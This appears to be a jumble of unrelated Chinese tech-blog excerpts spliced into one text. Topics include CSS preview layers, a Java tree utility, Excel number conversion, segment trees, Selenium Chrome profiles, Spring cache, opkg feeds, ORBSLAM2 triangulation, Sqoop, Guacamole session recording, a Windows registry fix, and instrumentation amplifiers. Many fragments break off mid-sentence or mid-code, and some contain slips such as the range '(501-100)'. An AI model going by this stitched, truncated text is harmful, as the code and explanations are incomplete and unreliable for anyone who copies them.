一、css
div.preview-layer{
display: none;
position: relative;
left:50%;
margin-left:-205px;
}
div.preview-layer .preview-bg{
position: fixed;
width: 100%;
height: 100%;
top: 0;
left: 0;
z-index:999; background-color:#000; opacity:0.7; }
.preview-close{
position: fixed;
width: 20px;
height: 10px; color:#fff; cursor:pointer;
z-index:1000;
top:50%;
left:50%;
margin-left:220px;
}
div.preview-layer .preview-phone{
position: fixed;
width: 410px;
height: 840px;
background: url(../images/iphone-bg.png) no-repeat no-repeat;
z-index: 1000;
}
.preview-html{
position: absolute;
width:361px !important;
height: 638px !important;
top:98px;
left:24px;
border:2px solid #000;
border-radius: 5px;
CommonID 基本Domain类
public interface CommonID<ID, E> extends Serializable { ID getId(); ID getParentId(); void setParent(E parent); void setChildren(List<E> children); } TreeUtils 树形结构处理类
import com.google.common.collect.Lists; import com.pingan.haofang.gov.sm.account.common.query.CommonID; import org.apache.commons.collections.CollectionUtils; import org.apache.commons.lang3.SerializationUtils; import java.lang.reflect.ParameterizedType; import java.util.Collections; import java.util.List; import java.util.Objects; import java.util.stream.Collectors; public class TreeUtils<T extends CommonID<ID, T>, ID> { private List<T> sourceTree; private List<T> _back; public TreeUtils(List<T> _sourceTree) { this.sourceTree = _sourceTree; } /** * 获取当前节点的所有上级节点和所有子节点,拼装树形结构 * * @param id 当前节点ID * @return 当前节点所有子节点和所有父节点的树 */ public T getTree(ID id) { if (CollectionUtils.
Excel:文本数字转换成数字的三种方法(转) 在Excel中,系统将前面带有半角单引号的数字视为文本对待,而且为了某些需要,用户可以通过“格式”菜单中的“单元格”命令,将数字设置为文本格式。然而,现在我们却需要把工作表中文本格式的数字转换成数字,那么以下方法可以一试。 1.一次转换一个单元格 在“工具”菜单上,单击“选项”,再单击“错误检查”选项卡(一定要确保选中了“允许后台错误检查”和“数字以文本形式存储”复选框)。选中任何在左上角有绿色错误指示符的单元格。在单元格旁边,单击出现的按钮,再单击“转换为数字”。 2.一次转换整个区域 在某空白单元格中,输入数字“1”。选中该单元格,并在“编辑”菜单上单击“复制”命令。选取需转换的存储为文本数字的单元格区域。在“编辑”菜单上,单击“选择性粘贴”。在“运算”下,单击“乘”。单击“确定”按钮。 3.处理特殊财务数字 一些财务程序显示负值时在该值右边带有负号“-”。要将此文本字符串转换为数值,必须返回除最右边字符(即负号)以外的所有文本字符串字符,然后乘以“-1”。例如,如果单元格A2中的值为“156-”,那么公式“=LEFT(A2,LEN(A2)-1)*-1”将文本转换为数值“-156”,然后用上面的方法操作。 来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/14102/viewspace-115850/,如需转载,请注明出处,否则将追究法律责任。 转载于:http://blog.itpub.net/14102/viewspace-115850/
目录
为什么要有线段树
简介
得到min的线段树样例
java实现
合成器
线段树
测试
为什么要有线段树 下面我们从一个经典的例子来了解线段树,问题描述如下:从数组arr[0...n-1]中查找某个数组某个区间内的最小值,其中数组大小固定,但是数组中的元素的值可以随时更新。
对这个问题一个简单的解法是:遍历数组区间找到最小值,时间复杂度是O(n),额外的空间复杂度O(1)。当数据量特别大,而查询操作很频繁的时候,耗时可能会不满足需求。
另一种解法:使用一个二维数组来保存提前计算好的区间[i,j]内的最小值,那么预处理时间为O(n^2),查询耗时O(1), 但是需要额外的O(n^2)空间,当数据量很大时,这个空间消耗是庞大的,而且当改变了数组中的某一个值时,更新二维数组中的最小值也很麻烦。
简介 线段树之所以称为“树”,是因为其具有树的结构特性。线段树由于本身是专门用来处理区间问题的(包括RMQ、RSQ问题等)。
对于每一个子节点而言,都表示整个序列中的一段子区间;对于每个叶子节点而言,都表示序列中的单个元素信息;子节点不断向自己的父亲节点传递信息,而父节点存储的信息则是他的每一个子节点信息的整合。
有没有觉得很熟悉?对,线段树就是分块思想的树化,或者说是对于信息处理的二进制化——用于达到O(logn)级别的处理速度,log以2为底。(其实以几为底都只不过是个常数,可忽略)。而分块的思想,则是可以用一句话总结为:通过将整个序列分为有穷个小块,对于要查询的一段区间,总是可以整合成k个所分块与m个单个元素的信息的并(0≤k,m≤sqrt{n})。但普通的分块不能高效率地解决很多问题,所以作为log级别的数据结构,线段树应运而生。
得到min的线段树样例 我们可以用线段树来解决这个问题:预处理耗时O(n),查询、更新操作O(logn),需要额外的空间O(n)。根据这个问题我们构造如下的二叉树
叶子节点是原始组数arr中的元素非叶子节点代表它的所有子孙叶子节点所在区间的最小值 例如对于数组[2, 5, 1, 4, 9, 3]可以构造如下的二叉树(背景为白色表示叶子节点,非叶子节点的值是其对应数组区间内的最小值,例如根节点表示数组区间arr[0...5]内的最小值是1): 由于线段树的父节点区间是平均分割到左右子树,因此线段树是完全二叉树,对于包含n个叶子节点的完全二叉树,它一定有n-1个非叶节点,总共2n-1个节点,因此存储线段是需要的空间复杂度是O(n)。
java实现 合成器 合成器,代表父节点,根据两个子节点得到的value
如果设置为最大或者最小之类的,怎么设置看测试那里
package datastructure.tree.segementtree; /**合成器接口 * @author xusy * * @param <E> */ public interface Merger<E>{ /**合成方法,a和b代表一个父节点下的两个子节点的值 * @param a * @param b * @return 根据a和b,计算出的父节点对应的值 */ public E merge(E a,E b); } 线段树 可以看到每个节点对应的data中的左边界和右边界,没有记录在节点中,是在方法中不断递归计算的
一开始的root,手动设置index=0,左边界为0,右边界为length-1
然后子节点,左孩子对应[left,mid] 右孩子对应[mid+1,right]
如果想要得到某个区间,对应的问题的值,调用query(left,right) 即可
背景 Selenium操作浏览器是不加载任何配置的,那么如何配置使得我们能使用原来的cookies等信息呢
操作 查看chrome配置文件的位置 在地址栏输入 chrome://version/
上图 个人资料路径即为配置文件位置
加载配置 from selenium import webdriver chrome_options = webdriver.ChromeOptions() chrome_options.add_argument('--user-data-dir=C:/Users/MBENBEN/AppData/Local/Google/Chrome/User Data') driver = webdriver.Chrome(chrome_options=chrome_options) 注意点 1.路径最后要加一个 Data
2.在运行前先关闭chrome,因为selenium下打开浏览器和正常打开浏览器会有占用配置文件的冲突
这一部分不知道怎么写,写按这个来写,后续再继续修改设计文档的编写思路…
一、基础知识储备 接口基础 接口开发 Unittest与接口测试结合 从设计到开发接口测试框架 二、接口自动化测试开发流程 开发通用的读取excel的方法,读取excel表中每一行的数据(即每一条测试用例),将读取的数据拼接到接口地址上,将请求的数据与预期的结果值对比,并将结果写回到excel中做记录,统计测试用例的结果,用邮件方式将结果发送给测试开发人员。
三、接口自动化测试开发项目划分图: 自动化测试框架模块分布图:
1. 通过HTML Form提交。
Content-Type: application/x-www-form-urlencoded ,multipart/form-data 和 text/plain
application/x-www-form-urlencoded: 将提交的key-value数据编码成由'&'和'='进行分割的字符串。类似get请求中的参数,只是POST请求的数据位于HTTP Request body中,而get请求的参数位于URL中。
非字母或数字的字符会被 percent encoded ,不适于传输binary data。
POST /test HTTP/1.1 Host: foo.example Content-Type: application/x-www-form-urlencoded Content-Length: 27 field1=value1&field2=value2 multipart/form-data: 每个key-value数据都被作为一个body part,由指定delimiter分割。
可以用来传输dinary data(比如file)
POST /test HTTP/1.1 Host: foo.example Content-Type: multipart/form-data;boundary="boundary" --boundary Content-Disposition: form-data; name="field1" value1 --boundary Content-Disposition: form-data; name="field2"; filename="example.txt" value2 --boundary-- https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/POST
2. 使用js构造http multipart/form-data请求
请求中同时发送发送json object和file
json object需要转换成blob对象,再放入FormData 对象中
var blob = new Blob([JSON.stringify({"attr1":"value1"})], {type : 'application/json'});
3. spring @RequestParam @RequestPart @RequestBody
【环境】
阿里云服务器ESC、Windows server 2008 实例、django框架、mod_wsgi、已购买域名
【第0步】
打开apache/conf/httpd.donf
【第1步】
Listen 172.17.249.215:8000 //私网IP
改为
Listen 172.17.249.215:80 //私网IP
【第2步】
ServerName 172.17.249.215:8000 //私网IP
改为
ServerName 172.17.249.215:80 //私网IP
【第3步】
重启apache服务器
【第4步】
如果有域名,浏览器输入 域名不加端口号 可进入网站
如果没有域名,浏览器输入 公网IP不加端口号 即可进入网站
【但是,最后还是又改回来了.................】
1、由于通过域名访问网站,且80端口号,那么网站如果没有备案,服务器提供商将会阻止进入网站,必须进行网站备案方可访问。
2、服务器我只租用了一个月,阿里云规定:剩余期限低于3个月的服务器不能进行网站备案。于是放弃备案,乖乖把端口号改回8000来了。
3、貌似,非80端口号的网站不能呗百度收录???
【欢迎访问 免费微信机器人 平台】
http://www.bot111.cn:8000/
1.在pom文件中添加依赖 <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-data-redis</artifactId> </dependency> 2.在application.yml文件中添加redis的配置 3.在application的类上添加EnableCaching注解 3.在service中需要加缓存的方法上添加注解 /** * 根据ID查询实体 * @param id * @return */ @Cacheable(value = "gathering", key = "#id") public Gathering findById(String id) { return gatheringDao.findById(id).get(); } /** * 修改 * @param gathering */ @CacheEvict(value="gathering", key = "#gathering.id") public void update(Gathering gathering) { gatheringDao.save(gathering); } /** * 删除 * @param id */ @CacheEvict(value="gathering", key = "#id") public void deleteById(String id) { gatheringDao.deleteById(id); } 4.springcache缓存注解 参考Spring缓存注解@Cache使用
最近有个需求,小程序的一个扫码页面,扫码界面一直开着,同时可以处理其他功能,如下:
由于直接调用微信的scanCode,无法自定义界面,所以只能使用原生组件camera,完成这个功能,关于扫描框的四个角的图片,就自己画一下吧,中间的移动横线,使用了小程序的动画功能,在原生camera组件上,覆盖需要用到cover-view和cover-image,同时加入了提示音
scan.wxss /**scan.wxss**/ .scan-view { width: 100%; height: 100%; display: flex; flex-direction: column; background-color: #B9BEC4; position: fixed; align-items: center; justify-content: space-around; } .scan-border { width: 94%; height: 94%; border: 6rpx solid #08FDFE; border-radius: 10rpx; display: flex; flex-direction: column; align-items: center; } .scan-camera { width: 500rpx; height: 500rpx; border-radius: 6rpx; margin: 30rpx; } .cover-corner { width: 80rpx; height: 80rpx; position: absolute; } .cover-left-top { left: 0; top: 0; } .
opkg 不同的版本存在不同的配置文件,一般常用的是 /etc/opkg.conf 、/etc/opkg/customfeeds.conf 和 /etc/opkg/distfeeds.conf三个。这三个配置文件将会影响opkg运行时软件资源的取向,opkg软件源定义在/etc/opkg/distfeeds.conf(更新/etc/opkg.conf并没有作用)文件中,包含软件源索引的目录路径。下面就软件包升级进行简单的介绍。
本地仓库 — 配置opkg 从本地获取软件包 在通过修改 /etc/opkg/distfeeds.conf 达到在opkg获取文件源时,到相应的目录下载。修改如下:
src/gz %n_base file:/tmp/packages/base src/gz %n_kernel file:/tmp/packages/kernel 以上为例,在执行opkg update时,将会以本地 /tmp/packages/base 目录以及 /tmp/packages/kernel 目录作为软件源,下载 Packages.gz 文件保存到 机器的 /var/opkg-lists 目录下,分别以%n_base 和 %n_kernel 命名。在执行 opkg update 之后,再通过 opkg upgrade <pkg> 升级某一个软件包,假设 该pkg位于 /tmp/packages/base 源,将会到 /tmp/packages/base 目录下载 pkg.ipk 并安装。如果安装过程报错,可根据具体错误,参考 OpenWrt 官网中的 OPKG软件包管理 中 强制性选项 进行操作。
以上是opkg本地仓库软件资源的升级过程,其他服务器的也就都类似,只是资源路径相应替换。
如何生成 .ipk 包 opkg 工具 (一个 ipkg 变种) 是一个用来从本地软件仓库或互联网软件仓库上下载并安装 OpenWrt 软件包的轻量型软件包管理器。所以,这个东西在OpenWrt上肯定是有的,那么OpenWrt是如何操作的。
在使用 OpenWrt 时会发现,最后是通过 scripts/ipkg-build 这个脚本实现的,调用如下:
本次项目中使用了V-Distpicker 插件实现了省市区三级联动
V-Distpicker 项目文档地址V-Distpicker git地址 使用方法
npm install v-distpicker --save
import VDistpicker from 'v-distpicker'
export default {
components: { VDistpicker }
}
实现思路
原文档中的并不是input触发的 所以在触发div上绑定了点击事件,在插件组件上设置了 v-show 来控制插件的显示,当触发插件的selected事件(当选择完后触发)来使插件的v-show为false隐藏,并把选中的值赋给div以此来显示,为了美观自己设置了一个遮罩层,自我感觉高大上了很多,哈哈哈
html部分
<li>
<div class="left">
<span>所在地区</span>
</div>
<div class="right r">
<div class="city" @click="toAddress">{{city}}</div>
<i class="arrow-r"> </i>
</div>
</li>
<v-distpicker type="mobile" @selected='selected' v-show="addInp">
</v-distpicker>
<div class="mask" v-show="mask"></div>
js部分
//定义data数据
city:'请选择',
addInp :false,
mask:false
//在methodes中定义方法
// 点击弹出三级联动
toAddress(){
this.mask = true;
this.addInp = true;
},
ORBSLAM2特征点三角化简介
插入关键帧以后,我们还需要插入新的地图点。为了确保新插入的地图点是足够鲁棒的,进行严格的检查是必要的。ORBSLAM2在插入地图点的时候也十分仔细,上一讲我们提到了地图的更新策略,唯独三角化没有细讲,倒不是因为它不重要而不提,而是因为三言两语说不清楚,所以才需要单独用一讲来说说这个方法。
接下来,笔者将会从一下两个方面来介绍本讲的内容:
1. 线性三角化方法;
2. 创建新地图点的方法提纲;
线性三角化方法
同之前一样,笔者会介绍创建新地图点所必要的技术细节,然后再讲方法提纲。
在ORBSLAM2源码中,创建新的地图点采用的是线性三角化方法,当然有些点并不是用这个方法创建的,但是这一小节我们不提,留到方法提纲那一节再介绍。
OK,我们就直接进入主题吧。
ORBSLAM2采用的是针孔模型的相机,而不是鱼眼或者事件相机之类的。因此这类相机的投影模型,大家应该都是比较熟悉的。笔者就不赘述了。
假设三维空间点为 $P_{w} = [ X, Y, Z, 1 ]^{T}$,参考帧的相机位姿为 $T_{rw} = [ R_{rw} | t_{rw} ]$,表示从世界坐标系变换到参考帧坐标系,同理,当前帧的相机位姿为 $T_{cw} = [ R_{cw} | t_{cw} ]$。点 $P_{w}$ 在参考帧归一化平面里的位置为 $p_{r} = [ x_{r}/z_{r}, y_{r}/z_{r}, 1 ]^{T}$,深度为 $z_{r}$,在当前帧归一化平面里的位置为 $p_{c} = [ x_{c}/z_{c}, y_{c}/z_{c}, 1 ]^{T}$,深度为 $z_{c}$。根据位置变换关系有:
\begin{equation}
z_{r}p_{r} = T_{rw}P_{w} \end{equation}
\begin{equation}
z_{c}p_{c} = T_{cw}P_{w} \end{equation}
对公式 $(1)$ 和公式 $(2)$ 分别叉乘对应的归一化平面的点,得到:
\begin{equation}
Lua错误处理 errorassertpcallxpcall error error (message [, level])
中止上一次保护函数调用,将错误对象 message 返回。 函数 error 永远不会返回。
当 message 是一个字符串时,通常 error 会把一些有关出错位置的信息附加在消息的前头。 level 参数指明了怎样获得出错位置。 对于 level 1 (默认值),出错位置指 error 函数调用的位置。 Level 2 将出错位置指向调用 error的函数的函数;以此类推。 传入 level 0 可以避免在消息前添加出错位置信息。
在Lua中使用error函数抛出错误信息,通常包含调用堆栈信息以及错误提示信息!
第一个参数message为自定义的错误提示信息。
第二个参数为可选的出错位置信息,默认为1,即为调用error函数的位置;2即为调用error函数的函数的位置;0则不打印出错位置信息!
function testError() error("error test1") -- error("error test2", 1) -- error("error test3", 0) -- error("error test4", 2) end testError() --[[ lua: C:\Users\user\Desktop\transition\csdn\test.lua:2: error test1 stack traceback: [C]: in function 'error' C:\Users\user\Desktop\transition\csdn\test.lua:2: in function 'testError' C:\Users\user\Desktop\transition\csdn\test.
项目名称 XX资产管理系统 前端技术栈 HTML/css/javascriptvue/node.js/ES6网络请求原理 对vue的要求略高,其他技术会用就行
项目运行环境 node版本 v10.15.2 (10以下不能运行)vue版本 3.7.0 vue项目运行依赖 axios 基于promise用于浏览器和node.js的http客户端https://www.kancloud.cn/yunye/axios/234845 v-charts 基于echarts的图表https://v-charts.js.org/#/ element-ui 饿了么开发的开源桌面端组件库https://element.eleme.cn/#/zh-CN vue-router vue.js的官方路由管理器,方便构建单页面应用https://router.vuejs.org/zh/ Vue项目的开发流程,如下: 利用命令行工具创建项目项目开发前配置项目开发阶段项目打包与优化阶段项目上线 主要在这里我会详细阐述登录页面和首页,数据页
目录结构 目录结构说明
│ ├── node_modules/ # 自动生成,包含Node生产依赖以及开发依赖 │ ├── public/ # 纯静态资源,不会被wabpack构建。 │ ├── index.html # 入口页面 │ └── favicon.ico # 网站站标 │ ├── src/ # 项目源码目录 │ ├── main.js # 入口js文件 │ ├── app.vue # 根组件 │ ├── components # 公共组件目录 (可自由定义) │ │ ├── dashboard # 仪表盘组件存放目录 │ │ ├── heard-box # 头组件存放目录 │ │ ├── others # 其他组件存放目录 │ │ └── registration # 资产登记存放目录 │ ├── views/ # 页面目录 │ │ ├── aside-left # 侧边栏页面存放目录 │ │ ├── login.
sftp 要删除文件夹需要先删除文件夹里的文件
rmdir path
目录
12.4 gpfdist 命令使用
12.4.1 查看原始表的信息
12.4.2 开启gpfdist服务
12.4.3 把数据库的表下载到磁盘
12.4 gpfdist 命令使用 12.4.1 查看原始表的信息 查看表的行数
select count(*) from ods.test1;
-- 182683056
查看表的大小
select pg_size_pretty(pg_relation_size('ods.test1'));
-- 27 GB
12.4.2 开启gpfdist服务 $ gpfdist -d /home/xiaoxu/test/ -p 8081
12.4.3 把数据库的表下载到磁盘 创建可写外部表
create writable external table ods.test2 (
zspid character varying(500) ,encode_v1 character varying(500) ,encode_v2 character varying(500) ) location('gpfdist://192.168.***.**:8081/test1.csv') format 'TEXT' (delimiter as E'\u0001');
由于gpfdist开启的服务的目录在 /home/xiaoxu/test/ 所以就不需要写相对路径了,写绝对路径即可。
插入数据
insert into ods.test2 select * from ods.
1、js使用dom给元素绑定事件时如果直接传入参数,
会有传参失败并且语句会执行并没有成功绑定事件的情况
详见https://blog.csdn.net/q5706503/article/details/82989804
2、问题?
一个超链接的列表,为每个超链接添加onmouseover事件,用循环的话会出问题。问题描述见https://www.zhihu.com/question/49321996
为啥啊
1 Sqoop简介 Apache Sqoop(SQL-to-Hadoop)项目旨在协助RDBMS与Hadoop之间进行高效的大数据交流。用户可以在 Sqoop 的帮助下,轻松地把关系型数据库的数据导入到 Hadoop 与其相关的系统 (如HBase和Hive)中;同时也可以把数据从 Hadoop 系统里抽取并导出到关系型数据库里。
Sqoop是一个在结构化数据和Hadoop之间进行批量数据迁移的工具,结构化数据可以是MySQL、Oracle等RDBMS。Sqoop底层用MapReduce程序实现抽取、转换、加载,MapReduce天生的特性保证了并行化和高容错率,而且相比Kettle等传统ETL工具,任务跑在Hadoop集群上,减少了ETL服务器资源的使用情况。在特定场景下,抽取过程会有很大的性能提升。
如果要用Sqoop,必须正确安装并配置Hadoop,因依赖于本地的Hadoop环境启动MR程序;MySQL、Oracle等数据库的JDBC驱动也要放到Sqoop的lib目录下。
2 Sqoop架构 2.1 Sqoop1和Sqoop2的对比 (1)Sqoop1架构 (2)Sqoop2架构 (3)对比分析
① 在架构上,Sqoop1仅仅使用一个Sqoop客户端;Sqoop2引入了Sqoop Server,对Connector实现了集中的管理,其访问方式也变得多样化了,其可以通过REST API、JAVA API、WEB UI以及CLI控制台方式进行访问。
② 在安全性能方面,在Sqoop1中我们经常用脚本的方式将HDFS中的数据导入到MySQL中,或者反过来将MySQL数据导入到HDFS中,其中在脚本里边都要显示指定MySQL数据库的用户名和密码的,安全性做的不是太完善。在Sqoop2中,如果是通过CLI方式访问的话,会有一个交互过程界面,你输入的密码信息不被看到,同时Sqoop2引入基于角色的安全机制。
(4)优缺点
① Sqoop1优点:架构部署简单;
② Sqoop1缺点:命令行方式容易出错,格式紧耦合,无法支持所有数据类型,安全机制不够完善,例如密码暴漏,安装需要root权限,connector必须符合JDBC模型;
③ Sqoop2优点:多种交互方式,命令行,Web UI,REST API,Conncetor集中化管理,所有的链接安装在Sqoop Server上,完善权限管理机制,Connector规范化,仅仅负责数据的读写;
④ Sqoop2缺点:架构稍复杂,配置部署更繁琐。
2.2 Sqoop2数据导入 将数据从关系型数据库导入到Hadoop中
Step1:Sqoop与数据库Server通信,获取数据库表的元数据信息;
Step2:Sqoop启动一个Map-Only的MR作业,利用元数据信息并行将数据写入Hadoop。
Sqoop在import时,需要制定split-by参数。Sqoop根据不同的split-by参数值来进行切分,然后将切分出来的区域分配到不同map中。每个map中再处理数据库中获取的一行一行的值,写入到HDFS中。同时split-by根据不同的参数类型有不同的切分方法,如比较简单的int型,Sqoop会取最大和最小split-by字段值,然后根据传入的num-mappers来确定划分几个区域。 比如select max(split_by),min(split-by) from得到的max(split-by)和min(split-by)分别为1000和1,而num-mappers为2的话,则会分成两个区域(1,500)和(501-100),同时也会分成2个sql给2个map去进行导入操作,分别为select XXX from table where split-by>=1 and split-by<500和select XXX from table where split-by>=501 and split-by<=1000。最后每个map各自获取各自SQL中的数据进行导入工作。
2.2.1 Sqoop大概流程 (1)读取要导入数据的表结构,生成运行类,默认是QueryResult,打成jar包,然后提交给Hadoop;
(2)设置好job,主要也就是设置好各个参数
(3)这里就由Hadoop来执行MapReduce来执行Import命令
① 首先要对数据进行切分,也就是DataSplit,DataDrivenDBInputFormat.
很多刚入行的小伙伴都不太清楚做UI设计会用到哪些软件?苏州学码思小编今天就为大家推荐几个比较好的设计工具。 一、Avocode
Avocode是前端切图神器,它实现从视觉到代码的过渡,自动生成导出图片的代码。兼容:Sketch,Photoshop,AdobeXD,illustrator和Figma。
二、Pixlr
PixlrEditor是一个超强的免费在线处理图片工具,可满足您的所有编辑需求。完全控制您的图像,包括图层和效果。简单点说,PixlrEditor就是一个类似Photoshop的web软件,适合进行图片处理。
三、Webydo
Webydo是一个在线网站设计及托管平台,帮助网页设计师摆脱传统的网站建站流程,Webydo的工具能够将他们的设计自动转换成的HTML5网站,设计师在这个过程中无需接触任何的手动编程工作。因此Webydo迅速成为一些设计师比较喜爱的网页设计工具。
四、Wagtail
Wagtail是一个开源的,响应式CMS,旨在加快Web开发的速度。它提供多语言和多站点支持。CMS采用直观的内容结构,支持复杂网站的所有基本组件。
五、Mobirise
Mobirise是一款适用于Windows和Mac的免费离线应用,可轻松创建中小型网站,登陆页面,在线简历和投资组合。1500多个漂亮的网站块,模板和主题可帮助您轻松入门。
非常适合那些不熟悉Web开发错综复杂的非技术人员以及喜欢尽可能以视觉方式工作而不需要与代码抗争的设计人员。对于快速原型制作和小客户项目的编码人员也很有用。
六、UXFLOWCHARTCARDS
UX流程图卡(UXFLOWCHARTCARDS),强大的网站结构规划工具,专业的网站建设者,涵盖54种常用UX模板,让设计师能够快速搭建专业的用户体验流程图,节省大量时间且架构清晰。帮助设计师和产品经理把握产品全貌,思考用户体验,聚焦重要环节。
七、Figma
Figma是一个实时协作的界面设计工具。它有三个难能可贵的功能:实时协作,矢量网络和版本控制。Figma就像是基于浏览器并具有实时协作功能的Sketch。
1.参数配置如下 GuacamoleConfiguration guacamoleConfig = new GuacamoleConfiguration(); guacamoleConfig.setProtocol("vnc"); guacamoleConfig.setParameter("hostname", vm.getVirtualMachineIp()); guacamoleConfig.setParameter("port", "5901"); guacamoleConfig.setParameter("password", "vncpassword"); //校验前端是否开启了录屏 if(request.getParameter("open-recording") != null){ //添加会话录制--录屏 guacamoleConfig.setParameter("typescript-path", "/"); guacamoleConfig.setParameter("create-typescript-path", "true"); guacamoleConfig.setParameter("typescript-name", "" ); guacamoleConfig.setParameter("recording-path", "/recording"); guacamoleConfig.setParameter("create-recording-path", "true"); guacamoleConfig.setParameter("recording-name", ""+new Date().getTime()+".guac"); } 2.参考源码地址(感谢热心网友的源码) https://github.com/TelDragon/guacamole/tree/master/java-demo
3.官网api地址 http://guacamole.apache.org/doc/gug/configuring-guacamole.html#vnc
4.说明 1) 我使用了docker跑的guacamole所以生成的录屏文件保存在了服务器的
/var/lib/docker/overlay/66fd857c42cce6955bfad18e3924976b46a3191456d2be04c3d3373fb2e2260e/upper/recording
2) 生成的该文件我还没有处理,官网上有句话可以用guacenc转成视频 //TODO
目前调用client的playback的js可以播放生成的录屏文件。
Recordings can be subsequently translated to a normal video stream using the guacenc utility provided with guacamole- server.
3)据说录屏功能是------0.9.10-----版本后才支持,这点需要注意下。
windows10为何鼠标右键一点桌面就一直转圈?
文章目录 解决方案:第一步:点击运行(win+r)第二步:然后输入regedit,点击确定第三步:然后点开HKEY_CLASSES_ROOT第四步:然后找到HKEY_CLASSES_ROOT\Directory第五步:最后删除ContextMenuHandlers中的,除了new以外的文件夹 解决方案: 第一步:点击运行(win+r) 第二步:然后输入regedit,点击确定 第三步:然后点开HKEY_CLASSES_ROOT 第四步:然后找到HKEY_CLASSES_ROOT\Directory 双击,找到HKEY_CLASSES_ROOT\Directory\Background\shellex\ContextMenuHandlers
第五步:最后删除ContextMenuHandlers中的,除了new以外的文件夹 有可能除了new还会有一个删除不了,不过没关系,在试试右键桌面,看看速度如何,还不行的话,重启后就行行了
目录
差分输入的是将两个输入端的差值作为信号,这样可以免去一些误差,比如你输入一个1V的信号电源有偏差,比实际输入要大0.1.就可以用差分输入1V和2V一减就把两端共有的那0.1误差减掉了。单端输入无法去除这类误差。
AD的差分输入与单端输入
差分信号和普通的单端信号走线相比,最明显的优势体现在以下三个方面:
什么是仪表放大器
什么是运算放大器
仪表放大器的优缺点
仪表放大器的优缺点
仪表放大器与运算放大器的区别是什么?
差分输入的是将两个输入端的差值作为信号,这样可以免去一些误差,比如你输入一个1V的信号电源有偏差,比实际输入要大0.1.就可以用差分输入1V和2V一减就把两端共有的那0.1误差减掉了。单端输入无法去除这类误差。 AD的差分输入与单端输入 2018年01月09日 08:24:17 ALIFPGA 阅读数:5346
AD的差分输入与单端输入
单端输入,输入信号均以共同的地线为基准。这种输入方法主要应用于输入信号电压较高(高于1V),信号源到模拟输入硬件的导线较短(低于15 ft,1ft=304.8mm),且所有的输入信号共用一个基准地线。如果信号达不到这些标准,此时应该用差分输入。对于差分输入,每一个输入信号都有自有的基准地线;由于共模噪声可以被导线所消除,从而减小了噪声误差。
单端输入时,是判断信号与 GND 的电压差。差分输入时,是判断两个信号线的电压差。
信号受干扰时,差分的两线会同时受影响,但电压差变化不大。 (抗干扰性较佳) 而单端输入的一线变化时,GND不变,所以电压差变化较大。(抗干扰性较差)。
差分信号和普通的单端信号走线相比,最明显的优势体现在以下三个方面: A.抗干扰能力强,因为两根差分走线之间的耦合很好,当外界存在噪声干扰时,几乎是同时被耦合到两条线上,而接收端关心的只是两信号的差值,所以外界的共模噪声可以被完全抵消。
B.能有效抑制EMI,同样的道理,由于两根信号的极性相反,他们对外辐射的电磁场可以相互抵消,耦合的越紧密,泄放到外界的电磁能量越少。
C.时序定位精确,由于差分信号的开关变化是位于两个信号的交点,而不像普通单端信号依靠高低两个阈值电压判断,因而受工艺,温度的影响小,能降低时序上的误差,同时也更适合于低幅度信号的电路。目前流行的LVDS(low voltage differential signaling)就是指这种小振幅差分信号技术。
当AD的输入信号只有一路时,为了更好地抑制共模噪声,我们可以采用差分输入方式。
什么是仪表放大器 这是一个特殊的差动放大器,具有超高输入阻抗,极其良好的CMRR,低输入偏移,低输出阻抗,能放大那些在共模电压下的信号。
随着电子技术的飞速发展,运算放大电路也得到广泛的应用。仪表放大器是一种精密差分电压放大器,它源于运算放大器,且优于运算放大器。仪表放大器把关键元件集成在放大器内部,其独特的结构使它具有高共模抑制比、高输入阻抗、低噪声、低线性误差、低失调漂移增益设置灵活和使用方便等特点,使其在数据采集、传感器信号放大、高速信号调节、医疗仪器和高档音响设备等方面倍受青睐。仪表放大器是一种具有差分输入和相对参考端单端输出的闭环增益组件,具有差分输入和相对参考端的单端输出。与运算放大器不同之处是运算放大器的闭环增益是由反相输入端与输出端之间连接的外部电阻决定,而仪表放大器则使用与输入端隔离的内部反馈电阻网络。仪表放大器的 2 个差分输入端施加输入信号,其增益即可由内部预置,也可由用户通过引脚内部设置或者通过与输入信号隔离的外部增益电阻预置。
什么是运算放大器 运算放大器(简称“运放”)是具有很高放大倍数的电路单元。在实际电路中,通常结合反馈网络共同组成某种功能模块。它是一种带有特殊耦合电路及反馈的放大器。其输出信号可以是输入信号加、减或微分、积分等数学运算的结果。[1] 由于早期应用于模拟计算机中,用以实现数学运算,故得名“运算放大器”。运放是一个从功能的角度命名的电路单元,可以由分立的器件实现,也可以实现在半导体芯片当中。随着半导体技术的发展,大部分的运放是以单芯片的形式存在。运放的种类繁多,广泛应用于电子行业当中。
运放如图有两个输入端a(反相输入端),b(同相输入端)和一个输出端o。也分别被称为倒向输入端非倒向输入端和输出端。当电压U-加在a端和公共端(公共端是电压为零的点,它相当于电路中的参考结点。)之间,且其实际方向从a 端高于公共端时,输出电压U实际方向则自公共端指向o端,即两者的方向正好相反。当输入电压U+加在b端和公共端之间,U与U+两者的实际方向相对公共端恰好相同。
仪表放大器的优缺点 优点:精度高。缺点:贵
仪表放大器的优缺点 在集成电路工艺中还难与于制造电感元件;制造容量大于200pF的电容也比较困难,而且性能很不稳定,所以集成电路中应避免使用电容器。而运算放大器各级之间都采用直接耦合,基本不采用电容元件,因此适合用于集成化的要求。
高速运放,从饱和退出的时间,与比较器相比较,依然相当长。
仪表放大器与运算放大器的区别是什么? 仪表放大器是一种具有差分输入和相对参考端单端输出的闭环增益单元。大多数情况下,仪表放大器的两个输入端阻抗平衡并且阻值很高,典型值≥109 Ω。其输入偏置电流也应很低,典型值为 1 nA至 50 nA。与运算放大器一样,其输出阻抗很低,在低频段通常仅有几毫欧(mΩ)。运算放大器的闭环增益是由其反向输入端和输出端之间连接的外部电阻决定。与放大器不同的是,仪表放大器使用一个内部反馈电阻网络,它与其信号输入端隔离 。对仪表放大器的两个差分输入端施加输入信号,其增益既可由内部预置,也可由用户通过引脚连接一个内部或者外部增益电阻器设置,该增益电阻器也与信号输入端隔离。
专用的仪表放大器价格通常比较贵,于是我们就想能否用普通的运放组成仪表放大器?答案是肯定的。使用三个普通运放就可以组成一个仪用放大器。电路如下图所示:
输出电压表达式如图中所示。
看到这里大家可能会问上述表达式是如何导出的? 为何上述电路可以实现仪表放大器?下面我们就将探讨这些问题。在此之前,我们先来看如下我们很熟悉的差分电路:
如果R1 = R3,R2 = R4,则VOUT = (VIN2—VIN1)(R2/R1)
